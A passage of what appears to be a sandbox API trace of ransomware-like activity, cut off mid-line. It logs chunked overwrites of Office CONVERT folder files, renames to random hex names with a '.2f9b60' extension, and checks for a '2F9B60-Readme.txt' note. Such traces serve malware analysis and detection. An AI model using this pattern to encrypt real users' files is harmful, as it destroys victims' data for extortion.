RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x7903ede9 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x5603152 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x2a4e7f2e [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x2aec914a [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x61348724 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0xac50338 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x170bcab5 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x19d0d6e [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x1e3f2518 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x4a9079ee [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0xe0aa5b2 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x60d0ee25 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x690e8cb3 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x5022d42e [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x6e0eab07 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x34ecf105 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x24761521 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x1070dc12 [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x314f411c [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x5ed6a96f [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x337d14ec [0114.486] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x1eca853a [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x7872c2db [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x7b5dc889 [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x1cfa1b1f [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x735c1140 [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x684e6be8 [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x2ec842b6 [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x57c1236e [0114.487] RtlRandomEx (in: Seed=0x37d7fb10 | out: Seed=0x37d7fb10) returned 0x61a0e05d [0114.496] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.497] ReadFile (in: hFile=0x1508, lpBuffer=0x41c3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37d7fb80, lpOverlapped=0x0 | out: lpBuffer=0x41c3d170*, lpNumberOfBytesRead=0x37d7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0114.502] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0114.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0114.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260cb0) returned 1 [0114.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c44990 [0114.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0114.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0114.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0114.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.503] WriteFile (in: hFile=0x1508, lpBuffer=0x41c44990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37d7fb80, lpOverlapped=0x0 | out: lpBuffer=0x41c44990*, lpNumberOfBytesWritten=0x37d7fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0130.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c44990) returned 1 [0130.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c3d170) returned 1 [0130.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20265a90 [0130.051] SetFilePointerEx (in: hFile=0x1508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0130.051] WriteFile (in: hFile=0x1508, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x37d7fc30, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x37d7fc30*=0x10a, lpOverlapped=0x0) returned 1 [0130.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0130.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b20) returned 1 [0130.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0130.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b50 [0130.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b50) returned 1 [0130.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0130.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0130.063] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="eb") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="f9") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="c8") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="a0") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="64") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="e6") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="83") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="c0") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="50") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="7e") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="22") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="68") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="8c") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="28") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="b5") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="a5") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="b9") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="8d") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="71") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="0f") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="a0") returned 2 [0130.063] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="05") returned 2 [0130.064] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="0e") returned 2 [0130.064] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="2c") returned 2 [0130.064] RtlInitAnsiString (in: DestinationString=0x37d7fca8, SourceString="ebf9c8a064e683c0507e22688c28b5a5b98d710fa0050e2c" | out: DestinationString="ebf9c8a064e683c0507e22688c28b5a5b98d710fa0050e2c") [0130.064] RtlAnsiStringToUnicodeString (in: DestinationString=0x37d7fc78, SourceString="ebf9c8a064e683c0507e22688c28b5a5b98d710fa0050e2c", AllocateDestinationString=1 | out: DestinationString="ebf9c8a064e683c0507e22688c28b5a5b98d710fa0050e2c") returned 0x0 [0130.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0130.064] wcscat (in: _Dest=0x4205cd30, _Source="ebf9c8a064e6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ebf9c8a064e6") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ebf9c8a064e6" [0130.064] wcscat (in: _Dest=0x4205cd30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ebf9c8a064e6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ebf9c8a064e6.2f9b60" [0130.064] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ebf9c8a064e6.2f9b60", NtPathName=0x37d7fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ebf9c8a064e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0130.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106e80 [0130.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0130.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0130.066] NtQueryInformationFile (in: FileHandle=0x1508, IoStatusBlock=0x37d7fcb8, FileInformation=0x37d7fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37d7fcb8, FileInformation=0x37d7fcc8) returned 0x0 [0130.066] NtSetInformationFile (FileHandle=0x1508, IoStatusBlock=0x37d7fcb8, FileInformation=0x37d7fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0130.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 [0130.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0130.070] FlushFileBuffers (hFile=0x1508) returned 1 [0130.073] CloseHandle (hObject=0x1508) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cd30 [0130.074] wcscpy (in: _Dest=0x4205cd30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0130.074] wcscat (in: _Dest=0x4205cd30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" [0130.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\2f9b60-readme.txt")) returned 0x20 [0130.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 [0130.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5a00) returned 1 Thread: id = 1204 os_tid = 0xd34 [0114.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam")) returned 0x20 [0114.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM", dwFileAttributes=0x20) returned 1 [0114.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0114.500] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x2973f740 | out: lpFileSize=0x2973f740*=90488) returned 1 [0114.500] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x16174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.500] ReadFile (in: hFile=0xeb8, lpBuffer=0x2973f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2973f708, lpOverlapped=0x0 | out: lpBuffer=0x2973f6c0*, lpNumberOfBytesRead=0x2973f708*=0x4, lpOverlapped=0x0) returned 1 [0114.505] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a40 [0114.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0114.505] NtQuerySystemTime (in: CurrentTime=0x2973f600 | out: CurrentTime=0x2973f600*=132462177199714000) returned 0x0 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x647678eb [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x66da5a8c [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x790aef3 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x63f18f36 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x86d6bc5 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x2ff469c1 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x766a1791 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x48d6cac9 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x690d3500 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x12c54ee8 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0xb342c65 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x5f724aa9 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x6dd41116 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x3e51bc44 [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x402539bc [0114.505] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x5aefd3c1 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x61121f74 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x7850a1b1 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x4a2cf4b8 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x7696a983 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x75bbbe72 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x40377541 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x15a1084b [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x34096a4 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x62f50e07 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x3d90bb3b [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x2c5a9e30 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x4826884f [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x3aec7fb9 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x7269022e [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x74b71905 [0114.506] RtlRandomEx (in: Seed=0x2973f5f0 | out: Seed=0x2973f5f0) returned 0x6815204a [0114.517] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.517] ReadFile (in: hFile=0xeb8, lpBuffer=0x41c35950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2973f660, lpOverlapped=0x0 | out: lpBuffer=0x41c35950*, lpNumberOfBytesRead=0x2973f660*=0x3c00, lpOverlapped=0x0) returned 1 [0114.521] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0114.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0114.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c40d80 [0114.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0114.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0114.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0114.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.522] WriteFile (in: hFile=0xeb8, lpBuffer=0x41c40d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2973f660, lpOverlapped=0x0 | out: lpBuffer=0x41c40d80*, lpNumberOfBytesWritten=0x2973f660*=0x3c00, lpOverlapped=0x0) returned 1 [0114.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c40d80) returned 1 [0114.525] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.525] ReadFile (in: hFile=0xeb8, lpBuffer=0x41c35950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2973f660, lpOverlapped=0x0 | out: lpBuffer=0x41c35950*, lpNumberOfBytesRead=0x2973f660*=0x3c00, lpOverlapped=0x0) returned 1 [0114.526] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0114.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0114.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0114.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0114.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c40d80 [0114.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0114.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0114.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0114.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0114.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0114.527] WriteFile (in: hFile=0xeb8, lpBuffer=0x41c40d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2973f660, lpOverlapped=0x0 | out: lpBuffer=0x41c40d80*, lpNumberOfBytesWritten=0x2973f660*=0x3c00, lpOverlapped=0x0) returned 1 [0147.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c40d80) returned 1 [0147.728] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x12578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.728] ReadFile (in: hFile=0xeb8, lpBuffer=0x41c35950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2973f660, lpOverlapped=0x0 | out: lpBuffer=0x41c35950*, lpNumberOfBytesRead=0x2973f660*=0x3c00, lpOverlapped=0x0) returned 1 [0147.958] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x12578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0147.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0147.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ed78d0 [0147.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0147.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0147.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0147.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.961] WriteFile (in: hFile=0xeb8, lpBuffer=0x41ed78d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2973f660, lpOverlapped=0x0 | out: lpBuffer=0x41ed78d0*, lpNumberOfBytesWritten=0x2973f660*=0x3c00, lpOverlapped=0x0) returned 1 [0170.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed78d0) returned 1 [0170.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a31f0 [0170.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0170.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0170.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0170.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c35950) returned 1 [0170.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261280 [0170.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0170.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ec0 [0170.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0170.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0170.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202622d0 [0170.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0170.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0170.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0170.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 [0170.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0170.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x142) returned 0x1cebc6d0 [0170.866] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.866] WriteFile (in: hFile=0xeb8, lpBuffer=0x1cebc6d0*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2973f710, lpOverlapped=0x0 | out: lpBuffer=0x1cebc6d0*, lpNumberOfBytesWritten=0x2973f710*=0x142, lpOverlapped=0x0) returned 1 [0200.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab30 [0200.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab30) returned 1 [0200.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x42c0f0e0 [0200.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab30 [0200.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab00 [0200.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab00) returned 1 [0200.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x4205ab00 [0200.032] sprintf (in: _Dest=0x4205ab00, 